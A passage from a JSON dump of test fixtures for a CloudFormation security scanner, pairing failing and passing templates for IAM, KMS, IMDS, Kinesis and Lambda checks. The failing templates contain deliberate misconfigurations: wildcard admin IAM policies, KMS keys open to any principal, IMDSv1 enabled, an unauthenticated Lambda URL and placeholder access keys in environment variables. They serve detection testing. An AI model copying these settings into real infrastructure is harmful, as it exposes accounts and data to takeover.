    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"mygroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": [\n          {\n            \"PolicyName\": \"fails\",\n            \"PolicyDocument\": {\n              \"Statement\": [\n                {\n                  \"Action\": [\n                    \"s3:ListBucket*\",\n                    \"s3:HeadBucket\",\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    \"arn:aws:s3:::b1\",\n                    \"arn:aws:s3:::b1/*\",\n                    \"arn:aws:s3:::b2\",\n                    \"arn:aws:s3:::b2/*\"\n                  ],\n                  \"Sid\": \"\"\n                },\n                {\n                  \"Action\": \"s3:PutObject*\",\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"arn:aws:s3:::b1/*\",\n                  \"Sid\": \"\"\n                }\n              ],\n              \"Version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_policy.fail.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"NEWPolicy\": {\n      \"Type\": \"AWS::IAM::Policy\",\n      \"Properties\": {\n        \"PolicyName\": \"CFNUsers\",\n        \"PolicyDocument\": {\n          \"Statement\": [\n            {\n              \"Action\": [\n                \"s3:HeadBucket\",\n                \"*\"\n              ],\n              \"Effect\": \"Allow\",\n              \"Resource\": [\n                \"arn:aws:s3:::b1\",\n                \"arn:aws:s3:::b1/*\",\n                \"*\"\n              ],\n              \"Sid\": \"\"\n            }\n          ],\n          \"Version\": \"2012-10-17\"\n        },\n        \"Groups\": [\n          {\n            \"Ref\": \"CFNUserGroup\"\n          }\n        ]\n      }\n    },\n    \"CFNUserGroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": []\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_policy.pass.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"NEWPolicy\": {\n      \"Type\": \"AWS::IAM::Policy\",\n      \"Properties\": {\n        \"PolicyName\": \"CFNUsers\",\n        \"PolicyDocument\": {\n          \"Statement\": [\n            {\n              \"Action\": [\n                \"s3:ListBucket*\",\n                \"s3:HeadBucket\",\n                \"s3:Get*\"\n              ],\n              \"Effect\": \"Allow\",\n              \"Resource\": [\n                \"arn:aws:s3:::b1\",\n                \"arn:aws:s3:::b1/*\",\n                \"arn:aws:s3:::b2\",\n                \"arn:aws:s3:::b2/*\"\n              ],\n              \"Sid\": \"\"\n            },\n            {\n              \"Action\": \"s3:PutObject*\",\n              \"Effect\": \"Allow\",\n              \"Resource\": \"arn:aws:s3:::b1/*\",\n              \"Sid\": \"\"\n            }\n          ],\n          \"Version\": \"2012-10-17\"\n        },\n        \"Groups\": [\n          {\n            \"Ref\": \"CFNUserGroup\"\n          }\n        ]\n      }\n    },\n    \"CFNUserGroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": []\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.fail.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"RootRole\": {\n            \"Type\": \"AWS::IAM::Role\",\n            \"Properties\": {\n                \"AssumeRolePolicyDocument\": {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Effect\": \"Allow\",\n                            \"Principal\": {\n                                \"Service\": [\n                                    \"ec2.amazonaws.com\"\n                                ]\n                            },\n                            \"Action\": [\n                                \"sts:AssumeRole\"\n                            ]\n                        }\n                    ]\n                },\n                \"Path\": \"/\",\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Version\": \"2012-10-17\",\n                            \"Statement\": [\n                                {\n                                    \"Effect\": \"Allow\",\n                                    \"Action\": \"*\",\n                                    \"Resource\": \"*\"\n                                }\n                            ]\n                        }\n                    }\n                ]\n            }\n        },\n        \"RootInstanceProfile\": {\n            \"Type\": \"AWS::IAM::InstanceProfile\",\n            \"Properties\": {\n                \"Path\": \"/\",\n                \"Roles\": [\n                    {\n                        \"Ref\": \"RootRole\"\n                    }\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.pass.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"RootRole\": {\n            \"Type\": \"AWS::IAM::Role\",\n            \"Properties\": {\n                \"AssumeRolePolicyDocument\": {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Effect\": \"Allow\",\n                            \"Principal\": {\n                                \"Service\": [\n                                    \"ec2.amazonaws.com\"\n                                ]\n                            },\n                            \"Action\": [\n                                \"sts:AssumeRole\"\n                            ]\n                        }\n                    ]\n                },\n                \"Path\": \"/\",\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Statement\": [\n                              {\n                                \"Action\": [\n                                  \"s3:ListBucket*\",\n                                  \"s3:HeadBucket\",\n                                  \"s3:Get*\"\n                                ],\n                                \"Effect\": \"Allow\",\n                                \"Resource\": [\n                                  \"arn:aws:s3:::b1\",\n                                  \"arn:aws:s3:::b1/*\",\n                                  \"arn:aws:s3:::b2\",\n                                  \"arn:aws:s3:::b2/*\"\n                                ],\n                                \"Sid\": \"\"\n                              },\n                              {\n                                \"Action\": \"s3:PutObject*\",\n                                \"Effect\": \"Allow\",\n                                \"Resource\": \"arn:aws:s3:::b1/*\",\n                                \"Sid\": \"\"\n                              }\n                            ],\n                            \"Version\": \"2012-10-17\"\n                          }\n                    }\n                ]\n            }\n        },\n        \"RootInstanceProfile\": {\n            \"Type\": \"AWS::IAM::InstanceProfile\",\n            \"Properties\": {\n                \"Path\": \"/\",\n                \"Roles\": [\n                    {\n                        \"Ref\": \"RootRole\"\n                    }\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.unknown.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\n\nConditions:\n  CreateExecPolicy: !Equals [0, 0]\n\nResources:\n  RootRole:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Path: /\n      Policies: !If\n        - CreateExecPolicy\n        - - PolicyName: root\n            PolicyDocument: !Sub |\n              { \"Version\": \"2012-10-17\", \"Statement\": [\n                {\n                  \"Effect\": \"Allow\",\n                  \"Action\": \"*\",\n                  \"Resource\": \"*\"\n                }\n              ]}\n        - !Ref AWS::NoValue\n  RootInstanceProfile:\n    Type: 'AWS::IAM::InstanceProfile'\n    Properties:\n      Path: /\n      Roles:\n        - !Ref RootRole\n\n  CFNUserGroup:\n    Type: AWS::IAM::Group\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_user.fail.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Metadata\": {\n        \"License\": \"Apache-2.0\"\n    },\n    \"Description\": \"AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.\",\n    \"Parameters\": {\n        \"Password\": {\n            \"NoEcho\": \"true\",\n            \"Type\": \"String\",\n            \"Description\": \"New account password\",\n            \"MinLength\": \"1\",\n            \"MaxLength\": \"41\",\n            \"ConstraintDescription\": \"the password must be between 1 and 41 characters\"\n        }\n    },\n    \"Resources\": {\n        \"CFNUser\": {\n            \"Type\": \"AWS::IAM::User\",\n            \"Properties\": {\n                \"LoginProfile\": {\n                    \"Password\": {\n                        \"Ref\": \"Password\"\n                    }\n                },\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                          \"Statement\": [\n                            {\n                              \"Action\": [\n                                \"s3:HeadBucket\",\n                                \"*\"\n                              ],\n                              \"Effect\": \"Allow\",\n                              \"Resource\": [\n                                \"arn:aws:s3:::b1\",\n                                \"arn:aws:s3:::b1/*\",\n                                \"*\"\n                              ],\n                              \"Sid\": \"\"\n                            }\n                          ],\n                          \"Version\": \"2012-10-17\"\n                        }\n                    }\n                ]\n            }\n        }\n    }\n    \n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_user.pass.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Metadata\": {\n        \"License\": \"Apache-2.0\"\n    },\n    \"Description\": \"AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.\",\n    \"Parameters\": {\n        \"Password\": {\n            \"NoEcho\": \"true\",\n            \"Type\": \"String\",\n            \"Description\": \"New account password\",\n            \"MinLength\": \"1\",\n            \"MaxLength\": \"41\",\n            \"ConstraintDescription\": \"the password must be between 1 and 41 characters\"\n        }\n    },\n    \"Resources\": {\n        \"CFNUser\": {\n            \"Type\": \"AWS::IAM::User\",\n            \"Properties\": {\n                \"LoginProfile\": {\n                    \"Password\": {\n                        \"Ref\": \"Password\"\n                    }\n                },\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Statement\": [\n                              {\n                                \"Action\": [\n                                  \"s3:ListBucket*\",\n                                  \"s3:HeadBucket\",\n                                  \"s3:Get*\"\n                                ],\n                                \"Effect\": \"Allow\",\n                                \"Resource\": [\n                                  \"arn:aws:s3:::b1\",\n                                  \"arn:aws:s3:::b1/*\",\n                                  \"arn:aws:s3:::b2\",\n                                  \"arn:aws:s3:::b2/*\"\n                                ],\n                                \"Sid\": \"\"\n                              },\n                              {\n                                \"Action\": \"s3:PutObject*\",\n                                \"Effect\": \"Allow\",\n                                \"Resource\": \"arn:aws:s3:::b1/*\",\n                                \"Sid\": \"\"\n                              }\n                            ],\n                            \"Version\": \"2012-10-17\"\n                          }\n                    }\n                ]\n            }\n        }\n    }\n    \n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IMDSv1Disabled/FAILED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MetadataOptionsNone:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateName: MetadataOptionsNone\n      LaunchTemplateData:\n        DisableApiTermination: true\n        ImageId: ami-04d5cc9b88example\n        InstanceType: t2.micro\n        KeyName: MyKeyPair\n  IMDSv1Enabled:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateName: IMDSv1Enabled\n      LaunchTemplateData:\n        DisableApiTermination: true\n        ImageId: ami-04d5cc9b88example\n        InstanceType: t2.micro\n        KeyName: MyKeyPair\n        MetadataOptions:\n          HttpEndpoint: enabled\n  IMDSv2Optional:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateName: IMDSv2Optional\n      LaunchTemplateData:\n        DisableApiTermination: true\n        ImageId: ami-04d5cc9b88example\n        InstanceType: t2.micro\n        KeyName: MyKeyPair\n        MetadataOptions:\n          HttpTokens: optional\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IMDSv1Disabled/PASSED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  IMDSv1Disabled:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateName: IMDSv1Disabled\n      LaunchTemplateData:\n        DisableApiTermination: true\n        ImageId: ami-04d5cc9b88example\n        InstanceType: t2.micro\n        KeyName: MyKeyPair\n        MetadataOptions:\n          HttpEndpoint: disabled\n  IMDSv2Enabled:\n    Type: AWS::EC2::LaunchTemplate\n    Properties:\n      LaunchTemplateName: IMDSv1Disabled\n      LaunchTemplateData:\n        DisableApiTermination: true\n        ImageId: ami-04d5cc9b88example\n        InstanceType: t2.micro\n        KeyName: MyKeyPair\n        MetadataOptions:\n          HttpTokens: required\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-FAILED-AWS-Wildcard.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  AwsWildcard:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable Permissions for All AWS Principals\n          Effect: Allow\n          Principal:\n            AWS: '*'\n          Action: kms:*\n          Resource: '*'\n      EnableKeyRotation: true\n  AwsWildcardList:\n    Type: 'AWS::KMS::Key'\n    Properties:\n      KeyPolicy:\n        Version: 2012-10-17\n        Id: key-default-1\n        Statement:\n          - Sid: Enable IAM User Permissions\n            Effect: Allow\n            Principal:\n              AWS: \n                - '*' # <-- wildcarded principal tucked inside of a list\n                - 'arn:aws:iam::123456789012:root'\n            Action: 'kms:*'\n            Resource: '*'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-FAILED-Wildcard.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  Wildcard:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable Permissions for Everyone\n          Effect: Allow\n          Principal: '*'\n          Action: 'kms:*'\n          Resource: '*'\n      EnableKeyRotation: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  Root:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS: !Sub 'arn:aws:iam::${AWS::AccountId}:root'\n          Action: 'kms:*'\n          Resource: '*'\n      EnableKeyRotation: true\n  Deny:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable Permissions for All AWS Principals\n          Effect: Deny\n          Principal:\n            AWS: '*'\n          Action: kms:*\n          Resource: '*'\n      EnableKeyRotation: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  SymmetricKey:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS:\n              Fn::Join:\n              - ''\n              - - 'arn:aws:iam::'\n                - Ref: AWS::AccountId\n                - :root\n          Action: kms:*\n          Resource: '*'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-PASSED-Asymmetric.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  AsymmetricKey:\n    Type: AWS::KMS::Key\n    Properties:\n      KeySpec: RSA_4096\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS:\n              Fn::Join:\n              - ''\n              - - 'arn:aws:iam::'\n                - Ref: AWS::AccountId\n                - :root\n          Action: kms:*\n          Resource: '*'\n      EnableKeyRotation: true\n  "
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-PASSED-Symmetric.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: KMS key example template\nResources:\n  SymmetricKey:\n    Type: AWS::KMS::Key\n    Properties:\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS:\n              Fn::Join:\n              - ''\n              - - 'arn:aws:iam::'\n                - Ref: AWS::AccountId\n                - :root\n          Action: kms:*\n          Resource: '*'\n      EnableKeyRotation: true\n  "
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KinesisStreamEncryptionType/FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  NoEncryption:\n      Type: AWS::Kinesis::Stream\n      Properties:\n          Name: MyKinesisStream\n          RetentionPeriodHours: 168\n          ShardCount: 3\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_KinesisStreamEncryptionType/PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  KMSEncryption:\n      Type: AWS::Kinesis::Stream\n      Properties:\n          Name: MyKinesisStream\n          RetentionPeriodHours: 168\n          ShardCount: 3\n          StreamEncryption:\n              EncryptionType: KMS\n              KeyId: myKey\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n      DeadLetterConfig:\n        TargetArn: arn:aws:sqs:eu-central-1:123456789012:dlq\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      DeadLetterQueue:\n        TargetArn: arn:aws:sqs:eu-central-1:123456789012:dlq\n        Type: SQS\n\n  Default:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Secret:\n    Type: AWS::Lambda::Function\n    Properties:\n      Runtime: nodejs12.x\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Handler: index.handler\n      Environment:\n        Variables:\n          key1: AKIAAAAAAAAAAAAAAAAA  # checkov:skip=CKV_SECRET_2 test secret\n          key2: Val2\n      Code:\n        ZipFile: |\n          print('hi')\n      Description: Invoke a function during stack creation.\n      TracingConfig:\n        Mode: Active\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  NoSecret:\n    Type: AWS::Lambda::Function\n    Properties:\n      Runtime: nodejs12.x\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Handler: index.handler\n      Environment:\n        Variables:\n          key1: notasecret\n          key2: Val2\n      Code:\n        ZipFile: |\n          print('hi')\n      Description: Invoke a function during stack creation.\n      TracingConfig:\n        Mode: Active\n  NoEnv:\n    Type: AWS::Lambda::Function\n    Properties:\n      Runtime: nodejs12.x\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Handler: index.handler\n      Code:\n        ZipFile: |\n          print('hi')\n      Description: Invoke a function during stack creation.\n      TracingConfig:\n        Mode: Active\n  EnvNull:\n    Type: AWS::Lambda::Function\n    Properties:\n      Runtime: nodejs12.x\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Handler: index.handler\n      Environment: None\n      Code:\n        ZipFile: |\n          print('hi')\n      Description: Invoke a function during stack creation.\n      TracingConfig:\n        Mode: Active\n  UnresolvedEnv:\n    Type: AWS::Lambda::Function\n    Properties:\n      Runtime: nodejs12.x\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Handler: index.handler\n      Environment:\n        Variables:\n          MY_COOL_STATE_MACHINE: !Ref MySuperCoolFortyCharLongStateMachineeeee\n      Code:\n        ZipFile: |\n          print('hi')\n      Description: Invoke a function during stack creation.\n      TracingConfig:\n        Mode: Active\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS2.yaml",
    "content": "Resources:\n  Pass2:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: \"NameOfLambdaFunction\"\n      Handler: \"handler.handlerverylongcustomhandlernameforservi\"\n      Runtime: \"python3.9\"\n      Role: !GetAtt LambdaExecutionRole.Arn\n      Code:\n        S3Bucket: \"your-code-bucket\"\n        S3Key: \"path/to/your-code.zip\"\n      Environment:\n        Variables:\n          STAGE: \"staging\"\n          LAMBDA: \"handler.handlerverylongcustomhandlernameforservi\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS3.yaml",
    "content": "Resources:\n  CDKSecret:\n    Type: AWS::SecretsManager::Secret\n    Properties:\n      Name: my-secret\n  CDKLambda:\n    Type: AWS::Lambda::Function\n    Properties:\n      Code:\n        S3Bucket: <bucket-containing-lambda-code>\n        S3Key: <key-to-lambda-code>\n      Handler: handler\n      Runtime: provided.al2\n      Timeout: 60\n      Architectures:\n        - arm64\n      Environment:\n        Variables:\n          APP_PRIVATE_KEY_SECRET_NAME: my-secret\n          TAGS: git.commit.sha:55e7e7703f17c41f276caf8f1a1b744d674259f8\n      Role: <lambda-execution-role-arn>\n  CDKSecretPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyName: SecretAccessPolicy\n      Roles:\n        - <lambda-execution-role-arn>\n      PolicyDocument:\n        Statement:\n          - Effect: Allow\n            Action:\n              - secretsmanager:GetSecretValue\n            Resource:\n              - !Ref CDKSecret\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nGlobals:\n  Function:\n    Handler: app.lambdaHandler\n    Runtime: python3.9\n\nResources:\n  NoSecret:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      Environment:\n        Variables:\n          key: value\n\n  NoEnv:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n\n  NoProperties:\n    Type: AWS::Serverless::Function\n\n  Secret:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      Environment:\n        Variables:\n          key: value\n          AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE  # checkov:skip=CKV_SECRET_2 test secret\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  EnvAndNoKey:\n    Type: AWS::Lambda::Function\n    Properties:\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        ZipFile: |\n          print('test')\n      Environment:\n        Variables:\n          key: value\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  EnvAndKey:\n    Type: AWS::Lambda::Function\n    Properties:\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        ZipFile: |\n          print('test')\n      Environment:\n        Variables:\n          key: value\n      KmsKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n  NoEnvAndNoKey:\n    Type: AWS::Lambda::Function\n    Properties:\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        ZipFile: |\n          print('test')\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  EnvAndKey:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      Environment:\n        Variables:\n          key: value\n      KmsKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n\n  NoEnvAndNoKey:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n\n  EnvAndNoKey:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      Environment:\n        Variables:\n          key: value\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n      ReservedConcurrentExecutions: 100\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      ReservedConcurrentExecutions: 100\n\n  Default:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaFunctionURLAuth/LambdaFunctionURLAuth_Fail.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  AuthTypeFail:\n    Type: AWS::Lambda::Url\n    Properties:\n      AuthType: NONE\n      TargetFunctionArn: arn:aws:lambda:us-west-2:123456789012:function:my-function"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaFunctionURLAuth/LambdaFunctionURLAuth_Pass.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  AuthTypePass:\n    Type: AWS::Lambda::Url\n    Properties:\n      AuthType: AWS_IAM\n      TargetFunctionArn: arn:aws:lambda:us-west-2:123456789012:function:my-function"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaInVPC/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaInVPC/PASS.yaml",
